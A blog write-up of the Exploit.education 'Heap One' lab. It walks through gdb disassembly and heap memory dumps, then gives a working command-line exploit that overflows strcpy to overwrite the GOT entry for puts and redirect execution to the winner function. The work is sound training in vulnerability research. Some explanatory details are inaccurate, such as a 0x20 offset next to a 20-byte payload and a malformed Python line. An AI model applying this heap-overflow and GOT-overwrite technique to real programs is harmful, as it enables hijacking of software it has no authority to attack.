If you haven’t set up your lab yet, feel free to check out my previous article on Exploit.education lab setup

Previous Writeup:

  1. Stack Zero Writeup - Exploit Education Lab Exercise
  2. Stack One Writeup - Exploit Education Lab Exercise
  3. Stack Two Writeup - Exploit Education Lab Exercise
  4. Stack Three Writeup - Exploit Education Lab Exercise
  5. Stack Four Writeup - Exploit Education Lab Exercise
  6. Stack Five Writeup - Exploit Education Lab Exercise
  7. Stack Six Writeup - Exploit Education Lab Exercise
  8. Format Zero Writeup - Exploit Education Lab Exercise
  9. Format One Writeup - Exploit Education Lab Exercise
  10. Format Two Writeup - Exploit Education Lab Exercise
  11. Format Three Writeup - Exploit Education Lab Exercise
  12. Format Four Writeup - Exploit Education Lab Exercise
  13. Heap Zero Writeup - Exploit Education Lab Exercise

Quick Overview

Similar to Heap Zero, Heap One exercise motive is to smash the heap to modify other variables in the heap to a hex value and technically overwrite struct in the heap. Similar to gets in Stack Zero, strcpy function is unsafe that doesn’t have bounds check, it accepts memory address to write but doesn’t care about overwriting other declared struct variable in the heap region.

Disassemble

Disassembling the code will get you overall idea behind the heap-one code, One can use gdb ./heap-one to start debugging it in runtime.

  1. gdb ./heap-one
  2. Type disassemble main to get the disassembled code (assembly)
   0x080487d5 <+0>:     lea    ecx,[esp+0x4]
   0x080487d9 <+4>:     and    esp,0xfffffff0
   0x080487dc <+7>:     push   DWORD PTR [ecx-0x4]
   0x080487df <+10>:    push   ebp
   0x080487e0 <+11>:    mov    ebp,esp
   0x080487e2 <+13>:    push   ebx
   0x080487e3 <+14>:    push   ecx
   0x080487e4 <+15>:    sub    esp,0x10
   0x080487e7 <+18>:    mov    ebx,ecx
   0x080487e9 <+20>:    sub    esp,0xc
   0x080487ec <+23>:    push   0x8
   0x080487ee <+25>:    call   0x80490dc <malloc>
   0x080487f3 <+30>:    add    esp,0x10
   0x080487f6 <+33>:    mov    DWORD PTR [ebp-0xc],eax
   0x080487f9 <+36>:    mov    eax,DWORD PTR [ebp-0xc]
   0x080487fc <+39>:    mov    DWORD PTR [eax],0x1
   0x08048802 <+45>:    sub    esp,0xc
   0x08048805 <+48>:    push   0x8
   0x08048807 <+50>:    call   0x80490dc <malloc>
   0x0804880c <+55>:    add    esp,0x10
   0x0804880f <+58>:    mov    edx,eax
   0x08048811 <+60>:    mov    eax,DWORD PTR [ebp-0xc]
   0x08048814 <+63>:    mov    DWORD PTR [eax+0x4],edx
   0x08048817 <+66>:    sub    esp,0xc
   0x0804881a <+69>:    push   0x8
   0x0804881c <+71>:    call   0x80490dc <malloc>
   0x08048821 <+76>:    add    esp,0x10
   0x08048824 <+79>:    mov    DWORD PTR [ebp-0x10],eax
   0x08048827 <+82>:    mov    eax,DWORD PTR [ebp-0x10]
   0x0804882a <+85>:    mov    DWORD PTR [eax],0x2
   0x08048830 <+91>:    sub    esp,0xc
   0x08048833 <+94>:    push   0x8
   0x08048835 <+96>:    call   0x80490dc <malloc>
   0x0804883a <+101>:   add    esp,0x10
   0x0804883d <+104>:   mov    edx,eax
   0x0804883f <+106>:   mov    eax,DWORD PTR [ebp-0x10]
   0x08048842 <+109>:   mov    DWORD PTR [eax+0x4],edx
   0x08048845 <+112>:   mov    eax,DWORD PTR [ebx+0x4]
   0x08048848 <+115>:   add    eax,0x4
   0x0804884b <+118>:   mov    edx,DWORD PTR [eax]
   0x0804884d <+120>:   mov    eax,DWORD PTR [ebp-0xc]
   0x08048850 <+123>:   mov    eax,DWORD PTR [eax+0x4]
   0x08048853 <+126>:   sub    esp,0x8
   0x08048856 <+129>:   push   edx
   0x08048857 <+130>:   push   eax
   0x08048858 <+131>:   call   0x8048560 <strcpy@plt>
   0x0804885d <+136>:   add    esp,0x10
   0x08048860 <+139>:   mov    eax,DWORD PTR [ebx+0x4]
   0x08048863 <+142>:   add    eax,0x8
   0x08048866 <+145>:   mov    edx,DWORD PTR [eax]
   0x08048868 <+147>:   mov    eax,DWORD PTR [ebp-0x10]
   0x0804886b <+150>:   mov    eax,DWORD PTR [eax+0x4]
   0x0804886e <+153>:   sub    esp,0x8
   0x08048871 <+156>:   push   edx
   0x08048872 <+157>:   push   eax
   0x08048873 <+158>:   call   0x8048560 <strcpy@plt>
   0x08048878 <+163>:   add    esp,0x10
   0x0804887b <+166>:   sub    esp,0xc
   0x0804887e <+169>:   push   0x804ab70
   0x08048883 <+174>:   call   0x80485b0 <puts@plt>
   0x08048888 <+179>:   add    esp,0x10
   0x0804888b <+182>:   mov    eax,0x0
   0x08048890 <+187>:   lea    esp,[ebp-0x8]
   0x08048893 <+190>:   pop    ecx
   0x08048894 <+191>:   pop    ebx
   0x08048895 <+192>:   pop    ebp
   0x08048896 <+193>:   lea    esp,[ecx-0x4]
   0x08048899 <+196>:   ret

If you carefully check the source, you might miss winner in the above disassembled code. You can go ahead and type disassemble winner in the gdb prompt,

   0x0804889a <+0>:     push   ebp
   0x0804889b <+1>:     mov    ebp,esp
   0x0804889d <+3>:     sub    esp,0x8
   0x080488a0 <+6>:     sub    esp,0xc
   0x080488a3 <+9>:     push   0x0
   0x080488a5 <+11>:    call   0x8048610 <time@plt>
   0x080488aa <+16>:    add    esp,0x10
   0x080488ad <+19>:    sub    esp,0x8
   0x080488b0 <+22>:    push   eax
   0x080488b1 <+23>:    push   0x804ab8c
   0x080488b6 <+28>:    call   0x8048580 <printf@plt>
   0x080488bb <+33>:    add    esp,0x10
   0x080488be <+36>:    nop
   0x080488bf <+37>:    leave
   0x080488c0 <+38>:    ret

Before taking a look at the code, if you disassembled the heap-one using gdb to view the assembly instruction, you may notice the puts, fflush, exit and gets function calls with parameters. So basically when you hit r in gdb without breakpoint,

  • Greet with Welcome to phoenix/heap-one, brought to you by https://exploit.education message via Puts (aka printf) method
  • In the main() function, the program declares two pointers to struct heapStructure called i1 and i2.
  • The program allocates memory for i1 using malloc() and sets its priority field to 1.
  • The program allocates memory for i1’s name field using malloc() and reserves 8 bytes of memory for it.
  • The program allocates memory for i2 using malloc() and sets its priority field to 2.
  • The program allocates memory for i2’s name field using malloc() and reserves 8 bytes of memory for it.
  • The program uses strcpy() to copy the first command-line argument passed to it by the user into the name field of i1.
  • The program uses strcpy() to copy the second command-line argument passed to it by the user into the name field of i2.
  • The program prints out a message saying “and that’s a wrap folks!” and then exits.

Primary Goal

The primary goal of this exercise is to make you familiar to overwrite function pointer with your own function pointer and therefore redirecting the program flow to achieve code execution within the binary/program. In ideal exploit world, you may overwrite the function pointer and redirect to system function call to achieve remote code execution and this blog post good example of reflecting this goal. In this exercise, you might want to overwrite the struct i2 with i1 and finally overwrite the Global offset table.

Memory Allocation

As you see that the heapStructure struct is dynamically allocated, they are allocated seperately by malloc different from stack frame. You can see that i1.name (8 bytes) gets written at 0xf7e69008 and priority integer variable (4 bytes). The i2.name (8 bytes) gets written at 0xf7e69028 and priority integer variable (4 bytes). You can verify this by using vmmap command in gdb.

However, you might want to overwrite the i2 heap with i1.name. To find the offset you can simply use p i1.name - p i2.priority in gdb. The offset is 0x20 bytes. So, you can overwrite the i2 heap with i1.name by using r $(python -c "print('A'*20)") in gdb. You can verify this by using vmmap command in gdb. Now that you have overwritten the i2 heap with i1.name, you can overwrite the i2.priority with 1 to get the winner function called. ** note that the memory address of i2.name is 0xf7e69038 which is located within the struct**. You could potentially overwrite this memory address with actual winner function address and strcpy will take care of the rest.

(gdb) x/12xw 0xf7e69008 # i1
0xf7e69008:     0x00000001      0xf7e69018      0x00000000      0x00000011
0xf7e69018:     0x41414141      0x41414141      0x41414141      0x41414141
0xf7e69028:     0x41414141      0x41414141      0x00000000      0x00000011
(gdb) x/12xw 0xf7e69028 #i2
0xf7e69028:     0x41414141      0x41414141      0x00000000      0x00000011
0xf7e69038:     0x00000000      0x00000000      0x00000000      0x000fffc1
0xf7e69048:     0x00000000      0x00000000      0x00000000      0x00000000

To get the winner memory address, you can use gdb to disassemble the winner function and note down the starting address of the function. You can use disassemble winner command in gdb to disassemble the winner function. The starting address of the winner function is 0x0804889a. The address 0x0804889a can be represented in little endian format as \9a\x88\x04\x08. So, the final payload would be 20 bytes of A + 4 bytes GOT table puts address and the second argument 4 bytes winner address . The puts aka printf address can be found by using objdump -R heap-one | grep puts command which is 0804c140

You can use python to generate the payload as follows,

print('A'*20 + '\x40\xc1\x04\x08') + print ('\x9a\x88\x04\x08')

Exploit

So, the final exploit would be as follows,

user@phoenix-amd64:/opt/phoenix/i486$ 
/opt/phoenix/i486/heap-one $(python -c "print 'A'*20 + '\x40\xc1\x04\x08'") $(python -c "print '\x9a\x88\x04\x08'")
Congratulations, you've completed this level @ 1683325305 seconds past the Epoch

There you go! 🎉 You’ve officially pwned the binary and possibly you could control the program flow and may eventually perform remote code execution in the system. 🪲

buffer-overflow-meme

Source and Reference:

  1. Heap One Exercise: Exploit Education

Closing Note:

I hope this post is helpful for vulnerability researcher 🔍 & code reviewers, For bugs,hugs & discussion, DM in Twitter. Opinions are my own and not the views of my employer.


Author Profile Photo - Shivasurya

Shivasurya

Software Engineer, Security @ Dropbox